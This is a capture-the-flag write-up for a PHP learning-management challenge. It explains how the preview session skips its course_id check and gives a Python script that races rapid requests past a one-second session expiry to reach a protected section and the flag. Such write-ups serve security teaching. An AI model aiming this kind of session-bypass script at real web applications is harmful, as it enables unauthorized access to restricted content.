LMS
Description
"Who's the fastest man on Earth? = Whoooooooosh (sound effect)"
This hinted that speed was a key factor in solving the challenge—likely requiring rapid execution of multiple requests before something expired.
Understanding the Vulnerability
By analyzing the provided PHP code, I noticed that in order to retrieve the flag, the following conditions had to be met:
if (isset($course['flag']) && isset($state['progress'][1]) && in_array('intro', $state['progress'][1]) && isset($state['progress'][2]) && in_array('intro', $state['progress'][2]) && $section === 'advanced') { echo "Flag: {$course['flag']}\n"; }
This meant I needed to:
- View Course 1's Introduction section
- View Course 2's Introduction section
- Access Course 2's Advanced section (which contains the flag)
Looking at how the session system worked:
$_SESSION['preview_state'] = [ 'course_id' => $courseId, 'section' => $section, 'started' => time(), 'expires' => time() + ($course['preview_length'] > 0 ? $course['preview_length'] : 0), ];
Each time I previewed a course, a session was created. However, the session expiration depended on the course's preview_length
. Course 1 had 1 second, while Course 2 expired immediately.
Exploiting the Session Handling
The key discovery was that the session did not check course_id properly, meaning I could manipulate the requests programmatically to meet all conditions within a single second before the session expired.
Since doing this manually was too slow, I automated it using Python with the requests
library.
import requests from urllib.parse import urljoin s = requests.Session() url = "http://a8ea158080e3495fa4bd7.playat.flagyard.com/" print("Starting preview for course 1...") s.get( urljoin(url, "index.php"), params={ "action": "start_preview", "course_id": "1", "section": "intro" } ) print("View Course 1 Intro") resp1 = s.get( urljoin(url, "preview.php"), params={"course_id": "1", "section": "intro"} ) if resp1.status_code != 200: print(f"WARNING: Got status code {resp1.status_code} for course 1 intro") print("View Course 2 Intro") resp2 = s.get( urljoin(url, "preview.php"), params={"course_id": "2", "section": "intro"} ) print("Access Advanced") flag_resp = s.get( urljoin(url, "preview.php"), params={"course_id": "2", "section": "advanced"} ) content = flag_resp.text print(content)
Explanation of the Exploit
The exploit works through the following steps:
- Start the preview for Course 1 (activates session)
- View Course 1's Intro
- View Course 2's Intro (bypassing restrictions by leveraging session behavior)
- Access Course 2's Advanced section, where the flag is located
Since all three requests were sent in quick succession using the script, the session was still valid when accessing the Advanced section, successfully retrieving the flag.
Flag
FlagY{************}